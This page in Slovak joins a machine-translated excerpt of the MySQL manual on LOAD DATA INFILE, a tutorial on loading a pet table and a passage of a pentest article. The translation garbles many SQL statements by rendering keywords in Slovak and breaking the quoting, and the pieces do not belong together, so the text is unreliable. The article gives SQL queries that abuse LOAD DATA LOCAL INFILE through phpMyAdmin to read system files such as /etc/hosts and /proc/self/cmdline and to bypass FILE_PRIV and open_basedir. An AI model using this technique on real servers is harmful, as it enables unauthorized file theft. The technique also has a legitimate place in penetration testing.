Ak ste vygenerovali textový súbor v systéme Windows, možno budete musieť zadať RIADKY UKONČENÉ BY „rn, aby ste súbor prečítali správne, pretože programy Windows zvyčajne používajú tieto dva znaky ako oddeľovače riadkov. Niektoré programy, ako napríklad WordPad, môžu používať znak „r " ako oddeľovač riadkov Ak chcete čítať takéto súbory, použite RIADKY UKONČENÉ "r".
Ak všetky riadky čítaného súboru majú spoločnú predponu, ktorú chcete ignorovať, použite RIADKY ZAČÍNAJÚCE " reťazcové predpony aby ste túto predponu preskočili. Ak reťazec neobsahuje predponu, preskočí sa celá.

Možnosť IGNOROVAŤ množstvo LINES sa používa na ignorovanie daného počtu riadkov na začiatku súboru. Napríklad môžete použiť IGNORE I LINES na preskočenie úvodného riadku obsahujúceho názvy stĺpcov:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> INTO TABLE test IGNOROVAŤ 1 RIADOK;
Keď použijete SELECT... INTO OUTFILE v spojení s LOAD DATA INFILE na zápis údajov z databázy do súboru a potom ich načítanie a načítanie späť do databázy, musia sa zhodovať možnosti riadenia riadkov a polí pre oba príkazy. V opačnom prípade nebude funkcia LOAD DATA INFILE schopná správne interpretovať obsah textového súboru. Predpokladajme, že na výstup dát do textového súboru použijete SELECT.. .INTO OUTFILE, pričom polia oddelíte čiarkami:
mysql> VYBRAŤ* INTO OUTFILE "data.txt" -> POLIA UKONČENÉ"," -> FROM table2;
Ak chcete späť prečítať súbor oddelený čiarkami, správna vec je:
mysql> LOAD DATA INFILE "data.txt1 INTO TABLE table2 -> FIELDS TERMINED BY
Ak sa ho namiesto toho pokúsite prečítať pomocou nižšie uvedeného vyhlásenia, nebude to fungovať, pretože LOAD DATA INFILE bude hľadať záložky medzi hodnotami polí:
mysql> NAČÍTAJTE DÁTOVÝ VSTUP "data.txt" DO TABUĽKY tabuľka2 -> POLIA KONČENÉ „t“;
Najpravdepodobnejším výsledkom by bolo interpretovať vstupný reťazec ako jedno pole.
LOAD DATA INFILE možno použiť aj na čítanie súborov z externých zdrojov. Súbor môže mať napríklad polia oddelené čiarkami a uzavreté v úvodzovkách. Ak sú riadky v súbore oddelené znakom nového riadka, nasledujúci príklad ilustruje, aké možnosti oddeľovača riadkov a stĺpcov je potrebné nastaviť na načítanie súboru:
mysql> NAČÍTAJTE DÁTOVÝ VSTUP „data.txt“ DO TABUĽKYnázov_tabuľky-> POLIA UKONČENÉ 1,1 UZAVRETÉ "" -> RIADKY UKONČENÉ"n";
Akékoľvek možnosti, ktoré určujú oddeľovače riadkov a stĺpcov, môžu mať ako argumenty prázdne reťazce (""). Ak argumenty nie sú prázdne reťazce, potom hodnoty PRE POLIA UZAVRETÉ A POLIE UVEDENÉ BY MUSIA byť MOŽNOSTI JEDNOZNAKOVÉHO ZNAKU. POLE UKONČENÉ VOĽBY Argumenty BY, RIADKY ZAČÍNAjúce OD a RIADKY KONČENÉ BY môžu byť dlhé viac ako jeden znak. Napríklad na písanie riadkov oddelených znakmi konca riadku/riadkov alebo na čítanie súborov obsahujúcich takéto riadky použite RIADKY UKONČENÉ „rn“.
Ak chcete prečítať súbor oddelený riadkami so znakmi %%, môžete urobiť nasledovné:
mysql> VYTVORTE TABUĽU vtipy
-> (INT NOT NULL PRIMÁRNY KĽÚČ AUTO_INCREMENT, -> vtipný TEXT NIE JE NULL);

mysql> NAČÍTAJTE VSTUP ÚDAJOV "/tmp/jokes,txf DO TABUĽKY vtipy -> POLE UKONČENÉ "" -> RIADKY UKONČENÉ "\n%%\n" (vtip);
FIELDS ENCLOSED BY ovláda oddeľovače polí (úvodzovky). Ak vo výstupe (SELECT ... INTO OUTFILE) vynecháte slovo VOLITEĽNE, všetky polia budú ohraničené znakom uvedeným v ENCLOSED BY. Príklad takéhoto výstupu (s použitím čiarky ako oddeľovača polí) je uvedený nižšie:
"1", "reťazec", "100,20"
"2","reťazec obsahujúci , čiarku","102,20"
"3","reťazec obsahujúci \"citát","102,20"
"4","reťazec obsahujúci \", úvodzovka a čiarka","102,20"
Ak zadáte VOLITEĽNE, znak ENCLOSED BY sa použije len na citovanie polí CHAR a VARCHAR:
1 "reťazec", 100,20
3,"reťazec obsahujúci \"citát",102.20
4,"reťazec obsahujúci \", úvodzovka a čiarka",102.20
Všimnite si, že výskytom znaku špecifikovaného v ENCLOSED BY v rámci hodnoty poľa predchádza znak špecifikovaný v ESCAPED BY. Ak tiež zadáte prázdnu hodnotu pre ESCAPED BY, je možné, že sa vygeneruje súbor, ktorý sa nenačíta správne.
Napríklad, ak znak pre zrušenie zostane prázdny, vyššie uvedený výstup bude vyzerať ako ten nižšie. Je ľahké vidieť, že druhé pole na štvrtom riadku obsahuje čiarku, za ktorou nasleduje úvodzovka, čo by (omylom) vyzeralo ako oddeľovač polí.
1 "reťazec", 100,20
2,"reťazec obsahujúci , čiarku",102.20
3,"reťazec obsahujúci "úvodzovku",102.20
4,"reťazec obsahujúci ", citát a čiarku",102.20
Pri vstupe sa znak ENCLOSED BY, ak je prítomný, odstráni z konca hodnoty poľa. (To platí bez ohľadu na to, či je alebo nie je zadané slovo VOLITEĽNE. Toto slovo nemá žiadny vplyv na interpretáciu vstupu.) Výskyt znakov ENCLOSED BY, pred ktorými je znak ESCAPED BY, sa interpretuje ako súčasť aktuálnej hodnoty poľa.
Ak pole začína znakom ENCLOSED BY, inštancie tohto znaku sa interpretujú ako ukončenie hodnoty poľa iba vtedy, ak za nimi nasleduje pole alebo sekvencia TERMINATED BY. Aby sa predišlo nejednoznačnosti, keď sa v hodnote poľa objaví znak ENCLOSED BY, tento znak môže byť duplikovaný a bude interpretovaný ako jedna inštancia znaku. Napríklad, ak je zadané ENCLOSED BY "", s úvodzovkami sa zaobchádza takto:
""VEĽKÝ" šéf" -> "VEĽKÝ" šéf "VEĽKÝ" šéf -> "VEĽKÝ" šéf ""VEĽKÝ" šéf -> "VEĽKÝ" šéf
FIELDS ESCAPED BY ovláda čítanie alebo zápis špeciálnych znakov. Ak argument FIELDS ESCAPED BY nie je prázdny, použije sa ako predpona pre nasledujúce znaky vo výstupe:

  1. Znak FIELDS ESCAPED BY.
  2. Polia uzavreté znakom.
  3. Prvý znak sekvencií POLIA UKONČENÉ A RIADKY UKONČENÉ BY.
  4. ASCII 0 (ktorý je zapísaný za znakom zrušenia ako ASCII "0", nie nulový bajt).

Ak je znak FIELDS ESCAPED BY prázdny, pred žiadnymi znakmi nebudú znaky escape a NULL sa vypíše ako NULL, nie \N. Pravdepodobne nie je dobrý nápad ponechať argument FIELDS ESCAPED BY prázdny, najmä ak hodnoty vášho dátového poľa obsahujú niektorý zo spomínaných znakov.
Ak pri vstupe pole FIELDS ESCAPED BY nie je prázdne, potom keď sa tento znak objaví v reťazci hodnoty, odstráni sa a znak, ktorý za ním nasleduje, sa prečíta doslova ako súčasť hodnoty poľa. Výnimky sú "0" alebo "N" (SYS-PAGE-CONTENT alebo \N, ak je "\" únikový znak). Tieto sekvencie sú interpretované ako ASCII NUL (nulový bajt) a NULL. Pravidlá pre prácu s NULL sú popísané ďalej v tejto časti.
Viac informácií o syntaxi zrušenia "\" nájdete v časti Doslovné hodnoty
V niektorých prípadoch sa možnosti, ktoré riadia polia a riadky, navzájom ovplyvňujú:

  1. Ak je pre LINES TERMINATED BY zadaný prázdny reťazec a pole FIELDS TERMINATED BY nie je prázdne, potom LINES TERMINATED BY slúži aj ako oddeľovač riadkov.
  2. AK sú polia ukončené a polia uzavreté prázdne, použije sa formát pevného reťazca (bez oddeľovačov). Tento formát nepoužíva žiadne oddeľovače medzi poľami (môžete však použiť oddeľovač riadkov). Namiesto toho sa hodnoty stĺpcov zapisujú a čítajú pomocou šírky zobrazenia stĺpca. Napríklad, ak je stĺpec deklarovaný ako INT(7), hodnoty stĺpca sa zapíšu do poľa so siedmimi znakmi. Počas zadávania sa hodnoty stĺpcov získavajú prečítaním siedmich znakov.

LINES TERMINATED BY sa stále používa na oddelenie riadkov. Ak riadok neobsahuje všetky polia, ostatné stĺpce sa nastavia na predvolené hodnoty. Ak nemáte zakončovač riadku, jeho hodnota by mala byť nastavená na 1". V tomto prípade musí textový súbor obsahovať všetky polia na každom riadku. Formát pevnej dĺžky riadku tiež pracuje s hodnotami NULL, ako je popísané nižšie. Všimnite si, že dĺžka formátu pevnej čiary nefunguje, ak sa používa viacbajtová znaková sada (napríklad Unicode).
Spracovanie hodnôt NULL sa líši v závislosti od použitých možností FIELDS a LINES:

  1. Pri predvolených hodnotách FIELDS a LINES sa NULL zapíše ako hodnota poľa ako \N na výstupe a rovnaká hodnota \N sa načíta ako NULL na vstupe (za predpokladu, že znak ESCAPED BY je nastavený na "\")-
  2. Ak pole FIELDS ENCLOSED BY nie je prázdne, pole obsahujúce doslovné slovo NULL sa číta ako hodnota NULL. Toto sa líši od prípadu, keď je slovo NULL obmedzené na FIELDS ENCLOSED BY znakov, kde sa hodnota číta ako reťazec "NULL".
  3. Ak je pole FIELDS ESCAPED BY prázdne, NULL sa zapíše ako slovo NULL.
  • S pevným formátom reťazca (čo sa stane, keď sú polia TERMINATED BY a FIELDS ENCLOSED BY prázdne), NULL sa zapíše ako prázdny reťazec. Všimnite si, že to spôsobí, že hodnoty NULL a prázdne riadky v tabuľke sa pri zápise do súboru stanú nerozoznateľnými, pretože oba zapisujú nulové riadky. Ak ich potrebujete rozlíšiť, nepoužívajte formát s pevnou dĺžkou.
    Nižšie sú uvedené niektoré prípady, ktoré LOAD DATA INFILE nepodporuje:
    1. Reťazce s pevnou dĺžkou (FIELDS TERMINED BY A FIELDS ENCLOSED BY sú nyc), keď existujú stĺpce typu TEXT alebo BLOB.
    2. Ak zadáte oddeľovač, ktorý sa zhoduje s predponou iného, ​​LOAD DATA INFILE nedokáže správne interpretovať vstupný tok. Napríklad nasledujúca možnosť povedie k problémom:

    POLIA UKONČENÉ ""UZATVORENÉ""

    • Ak je pole FIELDS ESCAPED BY prázdne, hodnoty polí, ktoré obsahujú znaky FIELDS ENCLOSED BY ALEBO LINES TERMINATED BY nasledované LINES TERMINATED BY spôsobia, že LOAD DATA INFILE prestane čítať súbor alebo riadok príliš skoro. Stane sa to preto, lebo LOAD DATA INFILE nedokáže správne určiť, kde končí hodnota poľa alebo riadka. Nasledujúci príklad načíta všetky stĺpce tabuľky osobných údajov: mysql> NAČÍTAJTE VSTUP ÚDAJOV „persondata.txt“ DO TABUĽKY osobné údaje;
      Ak na konci príkazu LOAD DATA INFILE nie je uvedený žiadny zoznam stĺpcov, očakáva sa, že vstupný riadok bude obsahovať polia pre každý stĺpec tabuľky. Ak chcete načítať iba niektoré stĺpce tabuľky, zadajte zoznam stĺpcov:
      mysql> NAČÍTAJTE VSTUP ÚDAJOV „persondata.txt1
      -> DO TABUĽKY osobné údaje(coll,col2,...);
      Ak sa poradie polí vo vstupnom súbore líši od poradia stĺpcov v tabuľke, musíte zadať aj zoznam stĺpcov. V opačnom prípade MySQL nebude môcť mapovať vstupné polia na stĺpce tabuľky.
      Ak má vstupný súbor príliš málo polí na riadok, chýbajúce stĺpce budú mať priradené predvolené hodnoty. Priradenie predvolených hodnôt je popísané v časti CREATE TABLE Syntax.
      Hodnoty prázdnych polí sa interpretujú inak ako chýbajúce:
      1. Pre typy reťazcov je stĺpci priradený prázdny reťazec.
      2. Pre číselné typy je stĺpci priradená 0.
      3. Pre typy dátumu a času - stĺpec je nastavený na príslušný typ
        "nulová" hodnota. Pozrite si časť Typy dátumu a času

      Sú to rovnaké hodnoty, ktoré sú výsledkom explicitného priradenia prázdneho reťazca k stĺpcom týchto typov v príkaze INSERT alebo UPDATE.
      Hodnoty stĺpca TIMESTAMP sú nastavené na aktuálny dátum a čas, iba ak sú nastavené na NULL (tj \N), alebo ak je stĺpec tohto typu vynechaný zo zoznamu polí, ak je uvedený zoznam polí.

      LOAD DATA INFILE zaobchádza so všetkými vstupmi ako s reťazcom, takže nemôžete použiť číselné hodnoty pre stĺpce ENUM alebo SET, ako je to povolené v príkazoch INSERT. Všetky hodnoty ENUM alebo SET musia byť špecifikované ako reťazce!
      Po dokončení príkazu LOAD DATA INFILE vráti informačný reťazec v nasledujúcom formáte:
      Záznamy: I Vymazané: 0 Preskočené: 0 Varovania: O
      Ak pracujete s C API, môžete získať informácie o tomto vyhlásení volaním funkcie mysql_info().
      Varovania, ktoré sa objavia za určitých podmienok, sú rovnaké ako pri vkladaní hodnôt príkazom INSERT (pozri časť 6.1.4), okrem toho, že LOAD DATA INFILE tiež generuje varovania, že vo vstupnom súbore je príliš málo alebo príliš málo. veľa polí. Varovania nie sú nikde uložené, počet varovaní môže slúžiť len ako indikácia, že všetko prebehlo v poriadku.
      Počnúc MySQL 4.1.1 môžete použiť SHOW WARNINGS na zobrazenie prvých upozornení max_error_count ako informácie o Čo načítanie sa pokazilo. Pozri Syntax ZOBRAZIŤ UPOZORNENIA
      Pred MySQL 4.1.1 iba počet varovaní indikoval, že zaťaženie neprebieha hladko. Ak dostanete varovanie a chcete presne vedieť, prečo sa to stalo, jediný spôsob, ako to urobiť, je použiť SELECT.. .INTO OUTFILE na výpis výpisu tabuľky do iného súboru a porovnať ho s pôvodným vstupným súborom.

Navigácia v návode: 1.1 Čo je MySQL? 1.2 Prečo používať MySQL? 1.3 Aká stabilná je MySQL? 1.4 Aké veľké môžu byť tabuľky MySQL? 1.5 MySQL, MySQL AB, MySQL-MAX: čo to je? 1.6 Na akých operačných systémoch MySQL beží? 1.7 Distribúcie MySQL 1.8 Výzvy príkazového riadka MySQL 2.1 Úvod do MySQL 2.2 Pripojenie k serveru MySQL 2.3 Zadávanie dopytov v MySQL 2.4 Vytváranie a používanie databáz 2.5 Vytváranie databázy MySQL 2.6 Vytváranie tabuľky MySQL 2.7 Načítanie údajov do tabuľky MySQL z a8 Výber všetkých údajov Tabuľka MySQL 2.9 Výber konkrétnych riadkov z tabuľky MySQL 2.10 Výber ľubovoľných stĺpcov z tabuľky MySQL 2.11 Triedenie riadkov z tabuľky MySQL 2.12 Výpočet dátumov v tabuľke MySQL 2.13 Práca s hodnotami NULL v tabuľke MySQL 2.14 Zhoda vzorov. SQL šablóny. 2.15 Počítanie riadkov v SQL šablónach. Funkcia COUNT() 2.16 Používanie viacerých tabuliek v jednom dotaze SQL 2.17 Získavanie informácií o databázach a tabuľkách MySQL 2.18 Príklady bežných dotazov v MySQL 2.19 Maximálna hodnota pre stĺpec MySQL 2.20 V ktorom riadku je uložený maximálny počet určitého stĺpca MySQL 2.21 Maximum stĺpca v skupine MySQL 2.22 B ktorý riadok MySQL je maximálna hodnota podľa skupiny? 2.23 Používanie používateľských premenných v MySQL 2.24 Používanie klienta MySQL v dávkovom režime 3.1 Reťazce v MySQL 3.2 Čísla v MySQL. Ako písať čísla v MySQL? 3.3 Hexadecimálne hodnoty v MySQL 3.4 Hodnoty NULL v MySQL 3.5 Názvy databáz, tabuliek, indexov, stĺpcov a aliasov v MySQL 3.6 Rozlišovanie malých a veľkých písmen v názvoch v MySQL 3.7 Užívateľské premenné v MySQL 3.8 Komentáre v MySQL 3.9 MySQL vyhradené slová 4.1 MySQL redundancia databázy 4.2 Syntax záložnej tabuľky MySQL Syntax 4.3 MySQL Obnovenie Syntax 4.4 MySQL Kontrola Tabuľka Syntax 4.5 MySQL Syntax Syntax 4.6 MySQL Optimize Tabuľka Syntax 4.7 MySQL Syntax Syntax 4.11 сAX SYSLEJE 4.9 MySQL 4.12 синтаксис Stav Stav в MySQL 4.13 синтаксис show premenných в MySQL 4,15 Back_log 4.15 znak_set, znak_sets, inikot_iSEut _IZE_901 out, join_buffer_size, key_buffer_size 4. 20 language, log_bin, long_query_time 4.21 lower_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_join_size, max_sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_timeout, net_retry_count, net_write_timeout 4.27 open_files_limit, port, record_buffer 4.28 protocol_version , record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases 4.31 thread_cache_size, tmp_table_size, wait_timeout 4.32 Синтаксис SHOW PROCESSLIST в MySQL 4.33 Синтаксис SHOW GRANTS в MySQL 4.34 Синтаксис SHOW CREATE TABLE в MySQL 4.35 Файл опций my.cnf в MySQL 5.1 Typy stĺpcov v MySQL 5.2 Číselné typy v MySQL 5.3 Typy dátumu a času v MySQL 5.4 Y2K (2000) Typy problémov a dátumov v MySQL 5.5 MySQL typy DATETIME, DATE a TIMESTAMP 5.6 MySQL TIME typ 5.7 MySQL typ YEAR 5.8 MySQL typy reťazcov CHAR a VARCHAR 5.9 MySQL typy reťazcov BLOB a TEXT 5.10 MySQL ENUM typ reťazca 5.11 MySQL SET typ reťazca 5.12 Výber správneho typu MySQL stĺpec 5.13 Použitie typov stĺpcov z iných databázových systémov pre MySQL 5.14 Požiadavky na pamäť pre stĺpce MySQL 6.1 Funkcie na používanie MySQL v SELECT a WHERE 6.2 Operátor netypovaných zátvoriek v MySQL 6.3 Operátor netypovaného porovnávania v MySQL 6.4 MySQL Logické operátory v MySQL 6.5 Funkcia Branch.6 Funkcie MySQL

Po vytvorení tabuľky ju musíte vyplniť údajmi. Pokyny a VLOŽIŤ užitočné na to. Ako fungujú, si povieme trochu neskôr, ale zatiaľ sa zamyslime nad údajmi, ktoré je potrebné zadať do tabuľky. Ako presne vyzerajú?

Predpokladajme, že vaše záznamy o zvieratách môžu byť opísané nižšie. Všimnite si, že MySQL očakáva dátumy vo formáte rok-mesiac-deň, čo sa môže líšiť od toho, na čo ste zvyknutí. Rok je najlepšie zadať ako 4 číslice. MySQL má pomerne zložitý algoritmus na správne spracovanie dvojciferných hodnôt roku, ale tomu ešte nemusíte rozumieť, takže zadávame údaje jednoznačne. Všetky údaje o zvieratách pre náš príklad sú uvedené v tabuľke 2.2:

Tabuľka 2.2. Údaje o zvieratách

názov vlastník druhov sex narodenia smrť
Načechraný Harold kat f 1993-02-04
Načechraný Harold kat f 1993-02-04
Pazúry Gwen kat m 1994-03-17
Buffy Harold pes f 1989-05-13
Fang Benny pes m 1990-08-27
lukostrelec Diane pes m 1989-08-31 1995-07-29
Čiperný Gwen vtáčik f 1998-09-11
Whistler Gwen vtáčik 1997-12-09
Štíhly Benny had m 1996-04-29

Keďže začínate s prázdnou tabuľkou, najjednoduchší spôsob, ako ju vyplniť, je vytvoriť textový súbor obsahujúci riadok pre každé z vašich zvierat a potom načítať obsah súboru do tabuľky pomocou jediného príkazu.

Môžete vytvoriť textový súbor pet.txt obsahujúci jednu položku na riadok s hodnotami oddelenými zarážkami tabulátora v poradí, v akom boli stĺpce uvedené v príkaze CREATE TABLE. Pre chýbajúce hodnoty (napríklad neznáme pohlavie alebo dátumy smrti pre zvieratá, ktoré ešte žijú), môžete použiť hodnoty NULL. Ak ich chcete prezentovať v textovom súbore, použite štítok. Napríklad záznam o vtákovi Whistler vyzerá asi takto (kartu som označil medzerou):

Whistler Gwen birdie 1997-12-09

Ak chcete načítať údaje z textového súboru pet.txt umiestneného na lokálnom počítači (kliente) a nie na serveri do tabuľky zvierat, použite príkaz LOAD DATA:

Mysql> NAČÍTAJTE ÚDAJE LOCAL INFILE "pet.txt" DO TABUĽKY pet;

Kľúčové slová majú nasledujúci význam. INFILE určuje reťazec, ktorý je názvom súboru, z ktorého sa majú čítať údaje. Keďže názov je reťazec, je uzavretý v úvodzovkách, inak sa ho MySQL pokúsi vyhodnotiť ako číselný výraz. MIESTNE určuje, že súbor by sa mal vyhľadať na klientskom systéme, nie na serveri. DO TABUĽKY prikazuje načítať údaje do tabuľky, ktorej názov je uvedený bezprostredne za slovom TABLE (oddelené medzerou).

Ak chcete, oddeľovač hodnôt stĺpca a značku konca riadka môžete v príkaze špecifikovať explicitne, ale predvolené hodnoty sú iba tabulátory a nové riadky. Stačia na správne prečítanie súboru pet.txt a viac teraz nepotrebujete.

Keď chcete pridávať nové záznamy jeden po druhom, tento pokyn je užitočný VLOŽIŤ. V najjednoduchšej forme poskytujete hodnoty pre každý stĺpec v poradí, v akom boli stĺpce uvedené v príkaze CREATE TABLE. Predpokladajme, že Diane dostala nového škrečka Puffball ako darček. Novú položku môžete pridať pomocou príkazu INSERT, napríklad takto:

MySQL> INSERT INTO pet
-> VALUES ("Puffball","Diane","škrečok","f","1999-03-30","NULL");

Kľúčové slová tu tiež nie sú obzvlášť ťažké. INTO pet určuje, do ktorého stola sa vloží. HODNOTY určuje zoznam hodnôt, ktoré sa majú vložiť pre novú položku v tabuľke. Hodnoty sú uvedené oddelené čiarkami a všetky spolu sú uvedené v zátvorkách.

Všimnite si, že reťazce a hodnota dátumu sú definované ako reťazce. Môžete vložiť NULL priamo (nie ako reťazec), aby ste reprezentovali absenciu hodnoty.

Z tohto príkladu môžete vidieť, že na načítanie priamo do tabuľky by bolo treba dosť veľa písania. Návod ušetril veľa času.

Opisujem pomerne bežnú situáciu. Počas pentestu bol získaný prístup k phpMyAdmin na vzdialenom hostiteľovi, ale k súborom sa cez neho nedalo dostať. Za všetko môže notoricky známy príznak FILE_PRIV=no v nastaveniach démona MySQL. Mnohí to v tejto situácii vzdávajú a veria, že súbory na hostiteľovi sa už týmto spôsobom čítať nedajú. Ale nie vždy to tak je.

POZOR

Všetky informácie sú poskytované len na informačné účely. Redakcia ani autor nezodpovedajú za prípadné škody spôsobené materiálmi tohto článku.

Predohra

Pokiaľ ide o interakciu MySQL DBMS so súborovým systémom, zvyčajne si pamätajú:

  • funkcia LOAD_FILE, ktorá vám umožňuje čítať súbory na serveri;
  • konštrukt SELECT ... INTO OUTFILE, ktorý možno použiť na vytváranie nových súborov.

Ak teda získate prístup k phpMyAdmin alebo akémukoľvek inému klientovi na vzdialenom počítači, potom sa s vysokou pravdepodobnosťou dostanete k súborovému systému cez MySQL. Ale iba ak je v nastaveniach démona nastavený príznak FILE_PRIV=yes, čo nie je vždy prípad. V tomto prípade si musíme spomenúť na iného operátora, oveľa menej známeho, no zároveň s pomerne výkonnou funkcionalitou. Hovorím o príkaze LOAD DATA INFILE, ktorého vlastnosti budú diskutované v tomto článku.

Interakcia medzi PHP a MySQL

PHP je najpoužívanejší jazyk na vytváranie webových aplikácií, takže stojí za to sa bližšie pozrieť na to, ako interaguje s databázou.

V PHP4 boli klientske knižnice MySQL zahrnuté v predvolenom nastavení a zahrnuté v distribúcii PHP, takže počas inštalácie ste sa mohli odhlásiť z používania MySQL iba zadaním možnosti

bez mysql.

PHP5 prichádza bez klientskej knižnice. Na *nix systémoch je PHP5 zvyčajne zostavené s knižnicou libmysqlclient už nainštalovanou na serveri, jednoducho nastavením možnosti

With-mysql=/usr

pri montáži. Zároveň pred verziou 5.3 sa na interakciu so serverom MySQL používa nízkoúrovňová klientska knižnica MySQL (libmysql), čo je rozhranie, ktoré nie je optimalizované na komunikáciu s aplikáciami PHP.

Natívny ovládač MySQL (mysqlnd) bol vyvinutý pre PHP 5.3 a vyššie a najnovšie vydanie PHP 5.4 používa tento ovládač štandardne. Hoci je vstavaný ovládač MySQL napísaný ako rozšírenie PHP, je dôležité pochopiť, že neposkytuje nové API pre programátora PHP. Databázové API MySQL pre programátora poskytujú rozšírenia MySQL, mysqli a PDO_MYSQL. Tieto rozšírenia môžu používať vstavaný ovládač MySQL na komunikáciu s démonom MySQL.

Používanie vstavaného ovládača MySQL má oproti klientskej knižnici MySQL určité výhody: napríklad nemusíte inštalovať MySQL na zostavenie PHP alebo používať skripty, ktoré pracujú s databázou. Viac informácií o MySQL Native Driver a jeho rozdieloch od libmysql nájdete v dokumentácii.

Rozšírenia MySQL, mysqli a PDO_MYSQL je možné individuálne nakonfigurovať tak, aby používali buď libmysql alebo mysqlnd. Ak chcete napríklad nakonfigurovať rozšírenie MySQL na používanie klientskej knižnice MySQL a rozšírenia mysqli na prácu s natívnym ovládačom MySQL, mali by ste zadať nasledujúce možnosti:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Syntax LOAD DATA

Príkaz LOAD DATA, ako hovorí dokumentácia, číta riadky zo súboru a veľmi vysokou rýchlosťou ich načítava do tabuľky. Dá sa použiť s kľúčovým slovom LOCAL (dostupné v MySQL 3.22.6 a novších), ktoré určuje, odkiaľ sa budú načítavať dáta. Ak slovo LOCAL chýba, server načíta zadaný súbor do tabuľky zo svojho lokálneho počítača a nie z klientskeho počítača. To znamená, že súbor nebude čítať klient MySQL, ale server MySQL. Táto operácia však opäť vyžaduje privilégium FILE (príznak FILE_PRIV=áno). Vykonanie príkazu je v tomto prípade možné prirovnať k použitiu funkcie LOAD_FILE – len s tým rozdielom, že dáta sa do tabuľky načítajú a nezobrazia. Použitie LOAD DATA INFILE na čítanie súborov má teda zmysel len vtedy, keď funkcia LOAD_FILE nie je dostupná, teda na veľmi starých verziách servera MySQL.

Ak je však príkaz použitý v tejto forme: LOAD DATA LOCAL INFILE , to znamená s použitím slova LOCAL, potom je súbor už načítaný klientským programom (na klientskom počítači) a odoslaný na server, kde sa nachádza databáza. Privilégium FILE zároveň samozrejme nie je potrebné na prístup k súborom (keďže všetko sa deje na počítači klienta).

Rozšírenia MySQL/mysqli/PDO_MySQL a príkaz LOAD DATA LOCAL

V rozšírení MySQL je schopnosť používať LOCAL riadená direktívou PHP_INI_SYSTEM mysql.allow_local_infile. Štandardne má táto direktíva hodnotu 1, a preto je operátor, ktorého potrebujeme, zvyčajne dostupný. Funkcia mysql_connect vám tiež umožňuje povoliť použitie LOAD DATA LOCAL, ak je piatym argumentom konštanta 128.

Keď sa na pripojenie k databáze používa rozšírenie PDO_MySQL, môžeme tiež povoliť podporu LOCAL pomocou konštanty PDO::MYSQL_ATTR_LOCAL_INFILE (celé číslo)

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Ale najväčšie možnosti pre prácu s príkazom LOAD DATA poskytuje rozšírenie mysqli. Toto rozšírenie poskytuje aj direktívu PHP_INI_SYSTEM mysqli.allow_local_infile, ktorá reguluje používanie LOCAL.

Ak je pripojenie vytvorené cez mysqli_real_connect, potom pomocou mysqli_options môžeme povoliť aj zakázať LOCAL podporu. Okrem toho je v tomto rozšírení dostupná funkcia mysqli_set_local_infile_handler, ktorá vám umožňuje zaregistrovať funkciu spätného volania na spracovanie obsahu súborov načítaných príkazom LOAD DATA LOCAL INFILE.

Čítanie súborov

Pozorný čitateľ už pravdepodobne uhádol, že ak máme účet v phpMyAdmin, tak budeme môcť čítať ľubovoľné súbory bez privilégia FILE a dokonca obísť obmedzenia open_basedir. Koniec koncov, veľmi často sú klient (v tomto prípade phpMyAdmin) aj démon MySQL na rovnakom počítači. Napriek obmedzeniam bezpečnostnej politiky servera MySQL môžeme využiť skutočnosť, že táto politika sa nevzťahuje na klienta, a stále čítať súbory zo systému a vkladať ich do databázy.

Algoritmus je jednoduchý. Stačí vykonať nasledujúce SQL dotazy:

  1. Vytvorte tabuľku, do ktorej budeme zapisovať obsah súborov: CREATE TABLE temp(text obsahu);
  2. Pošlite obsah súboru do vytvorenej tabuľky: NAČÍTAJTE ÚDAJE LOCAL INFILE "/etc/hosts" DO TABUĽKY TEMP POLIA UKONČENÉ "eof" UKONČENÉ "" RIADKY UKONČENÉ "eof";

Voila. Obsah súboru /etc/hosts je teraz v dočasnej tabuľke. Potrebujete čítať binárne súbory? Žiaden problém. Ak v prvom kroku vytvoríme tabuľku takto:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

potom bude možné do neho načítať binárne súbory. Je pravda, že na koniec súborov sa pridajú ďalšie bity, ale môžu sa odstrániť v akomkoľvek hex editore. Takto si môžete stiahnuť skripty chránené IonCube/Zend/TrueCrypt/NuSphere zo servera a dekódovať ich.

Ďalším príkladom, ako môžete použiť LOAD DATA LOCAL INFILE, je zistiť cestu ku konfigurácii Apache. Toto sa robí nasledovne:

  1. Najprv zistíme cestu k binárnemu súboru, na tento účel čítame /proc/self/cmdline, ako je opísané vyššie.
  2. A potom čítame priamo binárny súbor, kde hľadáme HTTPD_ROOT/SERVER_CONFIG_FILE.


Je zrejmé, že v tejto situácii skripty phpMyAdmin zohrávajú úlohu klienta na pripojenie k databáze. A namiesto phpMyAdmin môžete na prácu s MySQL použiť akékoľvek iné webové rozhranie.

Skripty môžete použiť napríklad na zálohovanie a obnovu databázy. V roku 2007 francúzsky hacker menom acidroot zverejnil exploit založený na tejto poznámke a umožnil čítať súbory z administračného panela phpBB.<= 2.0.22.

Tunel je pohodlný. Tunel nie je bezpečný

Pri inštalácii zložitých webových aplikácií je často potrebný priamy prístup do databázy, napríklad pre prvotnú konfiguráciu a úpravu skriptov. Preto je v niektorých prípadoch vhodné nainštalovať na server jednoduchý skript – takzvaný MySQL Tunnel, ktorý vám umožní dotazovať sa v databáze pomocou pohodlného klienta namiesto ťažkého phpMyAdmina.

Tunelov na prácu s databázou je pomerne dosť, no všetky nie sú veľmi bežné. Možno jedným z najznámejších sú skripty servera Macromedia Dream Weaver. Môžete vidieť zdrojový kód tohto skriptu.

Hlavným rozdielom medzi MySQL Tunnel a phpMyAdmin je potreba zadať nielen login a heslo z databázy, ale aj hostiteľa, ku ktorému sa chcete pripojiť. Zároveň sú tunely často ponechané aktívne, no, pre každý prípad, nikdy neviete, čo ešte treba upraviť. Zdá sa, že ich môžete použiť iba vtedy, ak máte účet v databáze - tak prečo sa báť? Stručne povedané, zdá sa, že tunel nepredstavuje osobitnú bezpečnostnú hrozbu pre webový server. Ale v skutočnosti nie je všetko také dobré, ako sa na prvý pohľad zdá.

